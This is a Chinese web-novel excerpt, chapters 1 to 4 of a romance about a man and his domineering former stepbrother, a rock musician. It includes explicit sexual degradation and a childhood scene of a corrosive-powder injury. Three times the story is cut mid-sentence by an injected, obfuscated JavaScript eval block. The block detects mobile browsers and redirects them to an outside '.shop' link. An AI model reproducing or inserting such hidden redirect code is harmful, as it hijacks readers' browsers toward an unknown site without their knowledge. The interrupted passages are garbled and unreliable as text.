《跪下爱我》 1. 第1章 【第1章】: 你哼着歌为薄荷浇水 叶尖的晶莹像我的泪 不是悲伤是幸福太满 在这平凡温暖的早晨…… 宋鹤清耳机里一直单曲循环着这首《晨光里的悄悄话》。 歌声温柔轻缓,像是情人在耳畔低吟浅唱,天籁一般的磁性嗓音丝丝撩拨心弦。每每听来都有心动之感。 这是盛灼唱的歌。他的所有歌里,只有这一首是日常又平淡的温柔情歌。 璞瑅住宅区。 出入口处,两排训练有素的礼仪保安站得笔直。 人脸识别系统扫过宋鹤清的脸后自动开门,待宋鹤清进来后,保安们齐齐躬身问好。 宋鹤清一如往常礼貌地跟礼仪保安们颔首回应。 他提着从超市买来的新鲜蔬果,一路朝F栋住宅走去。 看了眼手表,现在才早上八点。盛灼昨天才结束为期一个月的巡回演唱会,估计现在还在睡觉,此时去会打扰到他吗? 宋鹤清犹豫了一下,想到盛灼可能被吵醒时不悦的神情,便在小区长椅坐下,准备待晚点再进去。 初冬的晨风已带寒意,宋鹤清拢了拢衣领口。 打开手机,在网上搜索盛灼最新的动态。打开一段采访视频,记者问及盛灼下一首歌是什么风格的。 镜头里的男人眉骨深邃,眼窝投下的阴影让那双眸子如深潭般莫测,嘴角噙着一抹若有似无的傲慢笑意,整个人散发着兼具尊贵与桀骜的危险张力。 “想尝试摇滚风。”他回答记者。 记者:“这是一次新的挑战呢。相信粉丝朋友们都非常期待!” 宋鹤清看着屏幕里的盛灼,嘴角不自觉上扬,眉眼里满是温柔。他也同样期待着。 时间终于到了九点。宋鹤清起身,走到F栋住宅大门前,系统自动识别人脸后开门。 一个月未见,内心竟然有种近乡情怯之感。 之前跟盛灼提过很多次想要坐飞机过来看他的演唱会,但都被盛灼拒绝。 太想太想盛灼了,这种极致的思念快要把他吞噬。 不过克制和忍耐已经成了他的常态。此刻虽然内心激动,但面上还是平静的。 推开一楼大厅的门,一阵狂暴的打击乐声浪扑面而来,穿透力极强,震得他耳膜嗡鸣。 随后乐器声戛然而止,因为大厅内几道目光齐刷刷投向他,疑惑又好奇,仿佛看到了不速之客。 大厅内沙发上、地板上、凳子上都坐着人。他们衣着新潮,皮夹克上的铆钉,破洞的牛仔裤。有的手臂上和脖子上有纹身,有的有唇钉,有的有眉骨钉。 总之都非常有个性,个个看上去都很特别。但还是没有沙发上坐着的那人吸引人注意。 盛灼一身黑色真丝睡袍,慵懒地坐在沙发里,睡袍领口随意地敞开着,露出线条分明的紧实胸膛。 一条腰带松松系在劲瘦的腰际,两条长腿随意地敞着,浑身上下散发着未经打理的野性。 他只浅浅扫了宋鹤清一眼,一丝不悦从眼底闪过,似乎不满对方打断了他们的创作。 “灼哥,这位是?”乐队里唯一的女生好奇问道。 盛灼目光重新落回曲谱架上潦草的手稿,声音毫无情绪起伏:“我哥。” “原来是灼哥的哥哥啊,那必须叫大哥啊。都愣着干嘛?”一位穿着铆钉皮衣的年轻男人笑着说。 随后其他人赶紧笑着喊哥哥。 宋鹤清缓缓带上门,从短暂的怔忡中反应过来,嘴角牵起惯常的微笑弧度:“大家不用这么客气,随意就好。” 他认出来了,这个乐队应该就是近两年比较火的那个“混沌代码”乐队。 原来盛灼在和他们合作创作吗? 自己来得挺不是时候,打搅他们的创作了,又惹盛灼不高兴了。 来时的激动荡然无存,被冷水浇头一般,只剩自己自作多情的难堪。 在这几秒里,他在犹豫是走还是留下。 最终宋鹤清还是决定留下,毕竟他不想只看一眼盛灼就走。便笑着跟大家说:“中午的午餐我来安排,你们继续忙吧。”说着自顾自地换鞋,提着蔬菜水果进了厨房。 贝斯手问盛灼:“灼哥,咱们还继续吗?是不是打扰你们兄弟俩叙旧了。” 盛灼浑不在意道:“继续。” “哦哦,好嘞。” 狂放的音乐再次响起,整个大厅随之震颤。 混沌代码乐队的乐手们沉浸在自己的音乐声中,十分地投入。好像刚才发生的小插曲从未发生过。 厨房里,宋鹤清脱下外套,系上围裙,沉默地清洗蔬菜。 只有他才是想对方想得快疯了。想拥抱,想亲吻,想肌肤相亲。 原以为一个月未见,盛灼至少会有一点想他,哪怕一点点也好。 但并没有。 甚至烦他打扰了他们。 宋鹤清自嘲地笑了一下,笑自己惹人烦还腆着脸不走。 中午12点半。 餐桌上摆了七道菜,三荤三素一汤,色香味俱全。 “哇,好丰盛啊!” “肚子早就饿了。本来哥哥你还没来的时候,我们打算点外卖来着。这下我们可有口福了。” 宋鹤清脱下围裙,拉开椅子坐下,眉眼温柔舒展:“大家忙了一上午辛苦了,快尝尝吧。” 大家拿起筷子纷纷动筷,吃进嘴里后都说好吃,一边吃还不忘一边夸赞。 “我要是也有你这样的哥哥就好了,太羡慕灼哥了。” “以后谁嫁给哥哥你,肯定幸福惨了。” 巴拉巴拉…… 宋鹤清笑着回应大家的夸赞。同时注意到坐在主位的盛灼面无表情,端坐的身姿笔挺,夹菜的动作漫不经心,似乎并没有觉得好吃,也不觉得饿。 也是,都吃了十几年了,再好吃的饭菜也吃腻了。 午饭结束后,乐手们问盛灼下午还继续吗? 宋鹤清余光注意着他们那边,暗自期待盛灼说结束。然而出口的话令他的心又沉了下去。 “继续。”盛灼。 “呃……好。”大家只好又继续。 以前只是听说盛灼是个音乐狂魔,如今合作了才切实感受到。真是一点休息的时间都没有。 宋鹤清觉得自己在这里很多余,他并不懂音乐,他天生五音不全,没有音乐天赋,只会听音乐,所以帮不了什么。 在大家准备再次投入创作时,宋鹤清已经穿好外套,还是一如既往温和地笑,像一个天生没有脾气的人。他说:“你们先忙,我就不打扰了。” “哥哥你坐下来听我们创作嘛。” 乐手们挽留着他。 宋鹤清期待着盛灼让他留下,但是并没有。内心的酸楚又增添了几分。应该是不想他在这里打扰他们。懂事道:“真是不巧,我还有点事,下次一定好好欣赏。” 大家也不好继续挽留。 宋鹤清袖中的手握了握,没再流连,迈步离开。 他已经忘了来时激动期待的心情,此刻内心满是难以言说的酸楚。 他会不由自主乱想——盛灼对他腻了吗?盛灼有了其他喜欢的人吗?盛灼很厌烦他吗?又是哪里惹盛灼不高兴了? 每当被盛灼冷落和忽视时,宋鹤清都会自我怀疑,自我否定,自我厌弃。 门刚关上,吉他手就按捺不住好奇问盛灼:“灼哥,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528772|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你继兄吧?之前听网上的狗仔说你有个重组家庭的继兄。应该就是他吧?” “准确来说是前继兄。”盛灼转着手里的笔,目光在潦草的手稿上游走。 主唱说:“我之前听人说,灼哥的父亲在十年前跟第二任妻子离婚后娶了一个还没毕业的女大学生。前继兄应该就是第二任妻子带过来的儿子吧?” 旁边的女鼓手推搡了一下他,示意他不要说这些。 盛灼却不以为意:“没错。” 贝斯手疑惑道:“既然都是前继兄了,还这么献殷勤,图什么啊?” 盛灼忽然轻笑了一声。那抹笑意很是戏谑和嘲讽。 吉他手:“不会是惦记咱们灼哥家的家产吧?要不然还能图什么?难不成真把咱灼哥当亲弟弟了?” 盛灼心知肚明地笑。看得其他人一头雾水。 - 宋鹤清准备回盛鼎集团总部,但中途接到骆衡的电话,让他来一趟君和中医院。便调转车头去了中医院。 这家医院是十年前他和骆衡一起合伙创办的。如今在东城已经成了小有名气的中医院。 只是前几年因为一件事,他不得不暂时将管理权全部交给骆衡,去了盛鼎集团总部任职。 到了院长办公室,骆衡跟他商议开设分院的事。 两人一直聊到下午五点多钟。 骆衡看了一眼时间,起身说:“下次再说,我们先去吃饭。今天我请你。” “那就恭敬不如从命了。”宋鹤清应了下来。 骆衡很自然地将手臂搭在他肩上,一同往外走:“我们好久没有一起吃饭了,今天可不许放我鸽子。” “希望没有突发事情吧。”宋鹤清也不敢跟他保证。因为盛灼总会毫无预兆地给他打电话呼叫他过去。如果不能及时赶到,又会惹盛灼不高兴。 他有时候既期待,又害怕。 正如现在,他期待盛灼会给他打电话叫他过去。又害怕正在和人吃饭时打电话叫他过去。 他好像总是容易提心吊胆。 骆衡比宋鹤清高五公分,勾肩搭背的近距离,让他清晰看到对方低垂的眉眼,还是那般清俊脱俗,令人不敢亵渎。 “那就把你灌醉,看你还怎么跑。”他用开玩笑的语气说。 宋鹤清微微抬眼,纤长的睫毛动了动,笑着道:“你老爱打趣我。” 两人去了一家私房菜馆。两人间的小包厢,内里开了暖气,布置清雅精致,放着舒缓的音乐。 菜还没来,骆衡给宋鹤清倒热茶。 宋鹤清脱下外套,端起递过来的茶喝了一口。 “鹤清,你怎么还不结婚?” 骆衡突然这么一问,宋鹤清还有点没反应过来。他斟酌着怎么回答时,没注意到外套里的手机来了一条消息——阿灼:【过来。】 “你也还没结婚,”宋鹤清把问题轻轻推回,“我们从大学认识到现在,没听你跟谁谈恋爱过。” 骆衡看着他笑,目光在小小的包厢里逐渐异样起来:“鹤清,你觉得我们会是一辈子的朋友吗?有没有想过其他关系?” “其他关系?”宋鹤清不明白。 忽然外套里的手机铃声响起,打断了两人的交谈。 宋鹤清拿出手机一看,屏幕上跳动着“阿灼”两字。心跳骤然加速起来。 接起电话:【阿灼。】 电话那头是盛灼惯有的不耐烦:【过来。】 宋鹤清有些为难,道:【我和骆衡正在吃饭,要不吃完再过来?】 【我没有耐心再说第三次。】盛灼的语气冰冷,如同独裁者下达最后通牒。 宋鹤清握着手机的手有些僵硬,盛灼总能把他架在两难之中。 2. 第2章 【第2章】: 包厢门在此时推开,服务员开始上菜。 宋鹤清不敢再说其他,顺着盛灼的心意道:【好,我马上过来。】 那头已经挂断电话。 宋鹤清心里叹了一口气。 服务员上完菜说:“二位请慢用。”然后关门出去。 包厢里只剩下他们两人。 骆衡看出宋鹤清的为难,问道:“是弟弟打来的吗?” “对,”宋鹤清有些抱歉地看向骆衡,“真是对不住啊骆衡,又要放你鸽子了。下次有机会我请回来好吗?” 骆衡看着那张如青松美玉般的脸庞,一双眼瞳清透温柔,此刻眼里带着歉疚之意,增添了几分难以言说的风情。他很难说对他说重话。 “那下次我可要狠宰你。”骆衡语气轻松,似乎没有生气。 宋鹤清松了一口气,笑着起身:“没问题。” 忽然骆衡拉住他的手:“要不吃点再去吧,饿着肚子对身体不好。到晚了就说路上堵车,他总不会为这事生气吧?” 他还真会因为去晚了而生气。 宋鹤清抽出手:“算了,我过去吃也一样。” “你这弟弟被你惯得也太任性了。”骆衡忍不住吐槽道。 宋鹤清也很是无奈,但已经习惯了。 他刚走没几步,被骆衡喊住。转身看到骆衡拿着他的外套过来。 “衣服忘拿了,”骆衡从善如流地给他披上,“每次遇到你弟弟的事你总是不淡定。” “谢谢。”宋鹤清穿上外套。 骆衡帮他拢好外套的领子,近距离看着他:“跟我说什么谢谢呢,我们俩相识十几年的关系,别这么见外。” 这样近的距离让宋鹤清有些局促,他不由得眼神闪躲:“好,那我先走了。” “开车小心。”骆衡看着他离去的背影。那股独特的幽香也随人的远去而消失。 有的人像酒,年龄越长,味道越香。 这样一个清冷得不可亵渎的人,被情/欲沾染会是什么模样呢。 初冬夜晚的冷风吹得宋鹤清打了一哆嗦。赶紧上车往璞瑅高级住宅区驶去。生怕耽搁晚了又惹盛灼不高兴。 到盛灼家里用了差不多半个多小时。 这个住宅每栋房子面积很大,四百多个平方,还不含花园和前院。 宋鹤清直接去盛灼卧室,果然看到盛灼坐在真皮沙发上。 盛灼已经洗过澡,换了一身睡袍,这套银色睡袍上有暗纹,在灯光下若隐若现。是国际知名设计师为盛灼量身定制的独一无二的睡袍。穿在他身上更加显得尊贵卓绝。 卧室里开了暖气,宋鹤清来时的冷意已经消退,脱下外套挂在架子上。朝盛灼走来。 “阿灼。” “和谁一起吃饭?”盛灼歪着头,支着脑袋问他。 宋鹤清:“骆衡。” 盛灼轻嗤一声:“又是他。跟他吃饭比见我还重要?” 他虽然是坐着的,但看人的眼神始终带着高高在上的审视。仿佛他天生比人高一等。 “不是的,你打电话来的时候我们正在吃饭,中途离开很得罪人。”宋鹤清解释道。 他外套脱掉后,里面是一件轻薄宽松的白色羊毛衣,衬得宋鹤清那张脸更加清俊脱俗,像不染烟火的茉莉花。 盛灼不悦:“比起得罪我,你更怕得罪他?他比我还重要?” “不是的,”宋鹤清耐心地哄着他,已经走到对方近前,“我跟他很久没一起吃饭了。” “这么说,怪我打扰你们吃饭了?”盛灼挑眉看他。 宋鹤清知道盛灼在故意找茬,对方就喜欢一句一句逼他就范,逼他无法招架。 “没有,任何时候你给我打电话我都会来。因为你最重要。”宋鹤清像哄小孩子一样哄着他。 盛灼也不知是满意了还是不满意,伸手拉过他坐在自己大腿上。大手肆无忌惮地伸进毛衣里掐住他的窄腰,在他耳边道:“今天他们问我你图我什么。” 宋鹤清长睫颤动,呼吸凌乱,思绪被他的手抓在手里:“我不图你什么。” 盛灼另一只手掐住他下颌,迫使他抬头:“我说,你图我的身体。” 宋鹤清惊住。 “吓成这样。怎么,怕被人知道?”盛灼语气恶劣。 宋鹤清才明白他刚才是骗自己的。 盛灼食指探入他口中玩弄舌头:“今天迫不及待来找我,不是上赶着来挨/操?” 宋鹤清白皙的脸庞早已布满红潮,眼里也泛起水润,说的话也含混不清,隐约是在求饶:“阿灼……” “这一个月忍得快要受不了了吧?自己有没有偷偷玩自己?”盛灼一句句地刺激他。 “没、没有……”宋鹤清感觉自己快要燃烧起来了。 盛灼像个恶魔般在他耳边低语:“你那个叫骆什么的朋友,知道你私底下这么浪吗?知道你其实有性/隐吗?” 宋鹤清身体在发抖。 盛灼戏谑地笑:“他要是知道了,会对你退避三舍吗?还能像朋友一样毫无芥蒂地跟你吃饭吗?” “你、你别这样,别告诉他……他是……正经人。”宋鹤清像是缺氧一般呼吸急促。 盛灼就喜欢羞辱他,不管是语言上的,还是身体上的。 “既然是来挨\草的,怎么看不到你的诚意?” 宋鹤清双眼迷离,早已陷入欲/望之中,口中说出和他长相气质毫不相符的话:“求……求你……” 盛灼目光灼烧起来,危险地眯起眼睛,而后猛地把人按在身下,恶劣至极:“求谁?任何一个男人都可以吗?” “阿灼……只有阿灼可以……” “可以什么?” “可以肆意地……玩弄我……” 后面的话没说完,盛灼狠狠吻上那张红艳艳的嘴唇。 盛灼受不了宋鹤清的反差感。简直让他欲罢不能。人前一副冰清玉洁不许亵渎的模样,人后比谁都浪。 他偶尔回想起少年时的记忆,不知是他先起了玩弄宋鹤清的心,还是宋鹤清先悄无声息地勾引他。 睡了快十年,却从未腻过。这具身体仿佛有魔力,让他无法抑制欲/望。 两人疯狂地纠缠了一夜,好似要把那一个月缺的都补上。 直至次日清晨,宋鹤清累得再也没力气睁眼,沉沉睡了过去。 梦里,又回到了初见时的场景。 那年他十五岁。 母亲容曼仪第一次带他进盛家大宅。 在来的路上,汽车行驶在盘山路上,而后进入一个分岔路,这是一条私人通道,需要扫描车牌才能进入。 私人道路的尽头,是坐落在半山腰的一座中式大宅。远远看去恢弘气派。彰显人类的顶级财富凌驾于自然之上。 占地面积三千八百多平方,高三层楼,震撼视野俯瞰山下城市和江河。 这是宋鹤清认识到的真正意义上的豪门。仿佛误闯天家。 难怪容曼仪不惜出轨也要极尽手段攀附上。 容曼仪第一次婚姻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528773|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得来也不光彩——勾引有妇之夫,怀了孕,气走了原配才顺利上位,然后在宋家生下了他。 连带着他的出生也不光彩。 宋家在东城只能算是小富。父亲宋镇涛是做钢材生意发家的,家里资产也不过百来万。 但对于家境一般的容曼仪来说,足够去花心思攀附,毕竟她有顶级的美貌和身材。 宋家还有个原配生的大儿子——宋桦。 比他要大四岁。 他从小就会看宋大哥的脸色,知道自己母亲的上位对宋桦来说是一种伤害,所以他自懂事起,就一直对宋桦有歉疚。 跟宋桦的相处法则就是不争不抢,谦逊礼让,安分守己,绝不能抢大哥的风头。 所以这么些年下来,他跟宋桦也算相安无事。 后来容曼仪不知在哪里认识了盛朗,好在认识盛朗时已经和前妻离了婚,两人就这么被对方吸引,背地里偷情了无数次。 宋鹤清还曾在车库里撞到过一次。那时他才十四岁,从未见过这种情况,惊得晚上睡不着,却不敢告诉任何人。 但他知道母亲出轨瞒不了多久,并且这个家也快散了。对此他无能为力。 父母离婚的事比他想的来的还要快。 宋镇涛知道自己被绿后,没有和容曼仪大吵大闹,因为他得罪不起东城顶级的富豪盛朗。 他懦弱地签离婚协议,还懦弱地祝她幸福。唯一敢鼓起勇气提的,是想把小儿子留下。 当然,被容曼仪拒绝了。 当时容曼仪说的是:“我一定要带小清进盛家,这是我为他和为自己博得的最光明的未来。” 虽然容曼仪这次不是小三上位,但出轨的行为怎么也不光彩。所以他已经做好在新家庭夹起尾巴做人的准备。 听说继父的儿子比他小五岁。 这回他不是做弟弟,是做哥哥。 他一定会好好照顾弟弟,事事顺着他,像亲哥哥一般对他。希望也能相安无事地相处。到了十八岁离开家庭他就解脱了。 可是他没想到,见到盛灼的第一眼,他就被震撼得内心激荡。 那年的盛灼也不过才十岁。可那种与生俱来的尊贵耀眼令人心惊。 他穿着一身白色的定制西服,从华贵阶梯上居高临下走来,微微抬起的下颌,使他视线下垂,俯视他们母子二人,仿佛看脚下的蝼蚁一般,眼里透着目空一切的高傲。 或许是回忆一遍遍加工这个场景,使得每每回想起,他都觉得盛灼出现时全身都在发光。是金尊玉贵的王子,是高不可攀的神明。 王子看不上他们母子。眼里有不屑、厌恶、恶心、愤怒。 那一刻他觉得自己是破烂的垃圾、过街的老鼠、卑微的尘埃。 自卑到了极点。 同时也怨恨自己为什么会以这样不体面的身份进入盛灼的世界。 “这是你的继母,你可以叫容阿姨。这是你的继兄,叫哥哥。”盛朗拍着盛灼的肩膀,笑得慈爱。 盛灼眼里闪过讥讽之色,但很快露出礼节性笑容,主动伸出手,说:“欢迎你,哥。” 看着那只伸过来的手,带着白手套,太圣洁了,怕自己的手脏到了他,不敢去握手。 但身旁的母亲提醒他跟弟弟握手,他不得不伸出自己的手,隔着白手套握上了盛灼的手。 “以后你们兄弟俩就好好相处。小灼,哥哥初来乍到,你要多关照一些。 “放心吧爸爸,我会好好关照哥哥的。”盛灼嘴角勾起的弧度像恶鬼露出的獠牙。 3. 第3章 【第3章】: 简单的见面很久就结束了。 他还有些怔忡,意识还未回魂。 盛灼说要继续上楼弹琴,离去的步伐有些快。 盛朗让佣人带着他去看看布置出来的卧室是否满意,顺便熟悉一下家里的环境。 他亦步亦趋地跟着佣人上楼,意识这才慢慢回笼。随后他才发现掌心有灼痛之感。 低头看掌,赫然发现已然红肿。那种灼痛之感越发明显,像是火烧一般,疼得他脸色发白。 随后掌心以肉眼可见的速度起了血泡,不一会儿血泡破了。 他忍耐不住哼叫一声,引得前面引路的佣人疑惑回头,不解地问道怎么了,低头一看,那掌心已经红肿溃烂,惊叫了一声。 佣人带着他穿过许多长长的走道和长廊,终于来到这座大宅的医疗室。 那时他已经痛得没有力气说话,额头早已冷汗密布。 医生问他怎么回事?在哪里碰到的?现在感觉如何? 他都说不出来。 过了半个小时,手掌已经紧急处理完了。涂了药,包扎上了白色纱布,火烧般的刺痛也减轻了许多。 医生说,这是一种腐蚀性很强的化学粉末,接触皮肤后会在短时间内导致红肿、皮下溃烂,必须紧急处理,否则会伤及血脉。 医生还说,他很能忍,居然都没痛得哭出声来。 对此他只能苦笑一下。 医生问他在哪里接触到的,他没有回答。 这样可怕的东西,从那只圣洁的白手套上沾染而来。 好恶毒的小王子。 他万万没想到,才十岁的少年,心肠竟然恶毒至此。 这就是给第一天见面的继兄的下马威吗? 今后的日子怕是难熬了。 那一眼的惊艳变成了避之不及的恐惧。 后面他继续随着佣人前去看自己的卧室,在二楼经过一个走廊时,听见飘渺的钢琴声从远处传来,回荡在长长的走廊里异常具有魔力。 他像一只好奇的猫,一步步朝琴声传来的地方走去。 佣人在后面提醒他:“那是小少爷在弹琴,他弹琴的时候不许不懂音乐的人偷听,会让他觉得艺术被侮辱。少爷会生气的。” 他魔怔一般没有停下脚步,虽然他天生不懂音乐,天生五音不全,但还是被这音乐吸引,继续朝着琴声走去。 直到走到一间宽敞明亮的音乐室外停下,透过玻璃,悄悄地窥视到了那坐在钢琴前的王子。 王子的背影被阳光照耀,仿佛是圣光一般,衬得他无比耀眼尊贵。 而他却像个小偷一般,隐在角落阴影里,偷听别人的艺术,内心燃起微妙之火。 盛灼手上现在已经脱下白手套,露出一双手指修长的手。手指灵活地在琴键上弹动,流出的音乐像是天籁,动听得好像能抓住人的灵魂。 他低头看自己包扎得像粽子的手,觉得自己窝囊。被一个小自己五岁的小孩欺负成这样,还气不起来。 当天晚饭的时候,这个重组家庭第一次正式进行家庭晚餐。 餐厅宽敞明亮,地面大理石亮得像镜子,七米高的顶上挂着璀璨夺目的水晶灯,两边墙上挂着价值百万的名画。 餐桌有十来米长,桌上摆放着精美的花艺。 他坐在这样的长桌上有些茫然,任由佣人为他摆好餐盘,叠好帕子。 盛朗和容曼仪脸上挂着开心的笑,笑容在灯光下有些晃眼。他不想多看。 在动筷的时候,容曼仪终于发现他手上的伤,担忧地问怎么了。 大家都随着容曼仪的问题看向了他的手。 尤其是盛灼,那双眼睛如火炬一般灼灼发烫。 他轻松地笑了一下,撒谎道:“我把卧室的柜子移了一下位置,不小心压到了手。” 容曼仪嗔怪地关心他:“你也太不小心了。” 盛朗:“何必亲自动手,这些事让佣人来做就行。你要知道你进这个家以后,就是盛家的大少爷。” 他温和地笑:“不碍事,我恢复得快。” 盛灼笑意盈盈:“哥哥初来乍到,可要小心些啊。有什么需要帮忙的都可以找我。” 对方虽是笑着的,但他从那灼人的笑容里看出了威胁与警告。 “小灼说得对。等到了新学校,有什么需要帮助的也可以找他。”盛朗。 他要转入的学校是一所贵族私立学校,小学、初中、高中一体制。 彼时的盛灼在小学五年级,他在初三。教学楼距离相隔一千多米。 进新学校的第一天,他和盛灼坐同一辆车去学校。 两人走在一起,盛灼比他矮了一个头。 那时的他处在青春期,骨架在少年和青年之间过渡,像是新发的嫩竹般,单薄清俊又修长挺拔。 他的长相大部分遗传了容曼仪,有着一双天然含情的桃花眼,睫毛纤长却不过于浓密,眨眼的时候像轻盈的蝴蝶翩飞。瞳色偏淡,眼神温和如水,盈盈流转。看人的时候总会不经意间流露出几分深情。 他讨厌自己像母亲,怕被人说孟浪多情。 上车前,盛灼说:“你妈是狐狸精,你是小狐狸精。” 上车后,盛灼说:“哥哥,这是在意大利买的巧克力,我觉得很好吃,专门给你带了一块。” 因为盛朗坐在副驾驶,他今天陪同两个孩子去学校。所以盛灼会表现得很友善和睦。 他对这位小王子变换飞快的两副面孔已经习惯了。 看着递过来的巧克力,他下意识地警觉和害怕,怕有毒。 盛灼却笑了:“哥哥你怕什么,难道我会在巧克力里下毒害你吗?你怎么把我想得那么坏。” 他当着盛朗的面不好拒绝盛灼,便接过放在书包里。 到了学校,两人分头走向各自的教学楼。 他在新班级自我介绍,老师安排他坐在第三排中间,同桌是位女生,夸他长得好看,还提议谈个恋爱。 他从未见过这样直白的女孩子,委婉地拒绝了。 第一天最后一节课结束后,他才敢拿出巧克力。 他没见过也没吃过这种巧克力。巧克力是用印有蓝色星星的锡纸包装起来的。小心谨慎地打开后,里面夹着一张印着意大利语的小纸条。 忽然旁边的女同桌说:“巴奇巧克力,喜欢你的人送的吗?纸条上印的什么我翻译看看。” 她拿过纸条,说:“Sei l‘amore della mia vita.翻译过来是——你是我一生的挚爱。这个女孩子比我还直白欸。” 他愣怔了几秒,没有反应过来。 女同桌惊讶地看着他:“你不会不知道这个巧克力吧?巴奇(Baci)在意大利语中翻译过来是‘吻’,一般都是送给喜欢的人的。” 是恶作剧吗? 他内心一时间无比迷惑。 看着这颗黑色的巧克力,他有了赌一赌的想法,他赌这颗巧克力没有毒。 于是张口吃了进去,没想到巧克力里面是整颗的榛子和甜甜的榛果酱。口感出乎意料的丝滑香醇,咀嚼间令他心神愉悦,回味悠长。 居然真的是巧克力,没有毒的巧克力。 当然,他知道盛灼当时送他这个巧克力仅仅是因为巧合而已。如果不是因为盛朗在车里,盛灼是不会装作友善而拿出巧克力给他的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528774|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这个巧合里的那句“你是我一生的挚爱”却让他记了很多年。 床上,宋鹤清从沉梦中醒来。 纤长的睫毛微微颤动,缓缓睁开水汽朦胧的双眼。 从十年前起,和盛灼开始地下情后的每一个纪念日,他都想盛灼送他巴奇巧克力。他很期待从纸条里再次开出那句话。 然而事与愿违,他再没开出印着那句话的纸条。 手臂、肩背、腰身、大腿这些地方肌肉酸痛得很,是昨晚的疯狂征伐所带来的后遗症。 好久没做这么狠了,仿佛要把他的灵魂撞碎。 他喜欢和盛灼有这样热烈而疯狂的肌肤之亲,因为可以弥补盛灼对他忽冷忽热的态度。 有时候很庆幸自己的身体能够让盛灼有无限欲望,因为自己的灵魂并不受盛灼喜欢。 床上只有他一个人,盛灼不知什么时候离开的。 现在是上午十一点。 原来他竟然酣睡至此。 起身去另一间卧室的衣柜里拿衣服换上。 另一间卧室衣柜里的衣服是他自己带过来放在这里的。因为盛灼不许别人的衣服放他的衣柜里。 换好衣服后,经过创作室时,听见里面传来的音乐声。知道盛灼又在忙了。 盛灼热爱音乐,非常热爱。音乐已经成为盛灼生命不可分割的一部分了。 宋鹤清在门外悄悄听了一会儿,随后下楼去厨房做午饭。 今天中午就做盛灼喜欢吃的酸汤鱼。 忽然想起,今年过年,他就满三十三了。而盛灼还是二十七八的大好年华。 十年前盛灼用玩笑的语气奖励跟他谈恋爱,他们这段偷偷摸摸的地下情居然持续快十年了,他都没想到会持续这么久。 但是不知道还会不会有下一个十年。不过想来还是不太可能。 这些年他一直都在给自己做心理准备,希望盛灼提出结束的那天,他不会太过于失态,也不能不要脸地去挽留。 虽说是奖励跟他恋爱,但其实更像是炮/友。盛灼需要的时候,他必须随叫随到,不需要的时候就当他不存在。 盛灼知道他有性/隐,有时候会惩罚般地故意无视他。 在这段感情里,只有他在认真,只有他最卑微。卑微到感觉自己在向盛灼乞讨能不能喜欢他多一点。 有时候看着千千万万个歌迷追捧迷恋盛灼,自己就会产生强烈的不配得感——自己凭什么配盛灼喜欢? 他是那么普通,那么平凡,配不上那么耀眼的人。 随着年纪越来越大,他时常会思考盛灼会不会嫌弃他? 而且盛灼也该到了家族联姻的年纪,他们是否还能继续? 宋鹤清感觉自己一天比一天焦虑。 丰盛的午饭做好已经快接近13:00了。 宋鹤清上楼,在创作室外等盛灼停下休息时才敲门进去:“阿灼,吃午饭了。” 盛灼脸色黑沉,一双深邃的眸子冷冷看着他,语气很是不耐:“我说过我创作的时候不要打扰我,否则会把我灵感打断。” 宋鹤清慌乱道:“抱歉,我、我听见你没动静了以为你在休息。” “出去!”盛灼冷声低喝。 宋鹤清立马关上门。他有些无措地站在门外,而后靠着墙面默默等待。 创作室内的盛灼有些烦躁,似乎是因为被打断了灵感而气恼,弹琴的手指力道很重,仿佛是在捶打琴键一般。 听得门外的宋鹤清无比忐忑。 没过多时盛灼无心创作,打开门出来了。眼神居高临下瞥了一眼宋鹤清,随后迈着大步下楼。 “阿灼对不起,下次我会注意些。”宋鹤清在后面追。 4. 第4章 【第4章】: 两人对坐在餐桌前安静地吃饭。 桌上的酸汤鱼冒着热气,酸辣鲜香的气味弥漫在餐厅里。 盛灼拿着筷子,有一下没一下地拨弄着碗里的米饭,眼神沉郁,整个人气压很低。 宋鹤清余光看着他,几次想夹一片鲜嫩的鱼片到他碗里,手抬起又放下,最终还是默默收回了手。怕又惹盛灼不高兴。 一时间,饭桌上只剩下碗筷轻微的碰撞声。 这顿午饭吃得有些压抑,过了半晌,宋鹤清才放下筷子,带着几分谨慎开口:“阿灼,你爸爸今天来电话,说这个周五回老宅吃饭,你看你……有时间吗?” 盛灼头也没抬,声音冷淡:“有时间也不去。” “可是……”宋鹤清顿了顿,声音更轻了些,显得有几分小心翼翼,“你已经好几个月没回老宅了,这次再不回去,恐怕干爹会真的很生气……” 自从容曼仪和盛朗离婚,盛朗就认了宋鹤清做干儿子。 盛朗赏识他,信任他,某种程度上,这个没有血缘关系的干儿子,甚至比亲生儿子更得他看重。 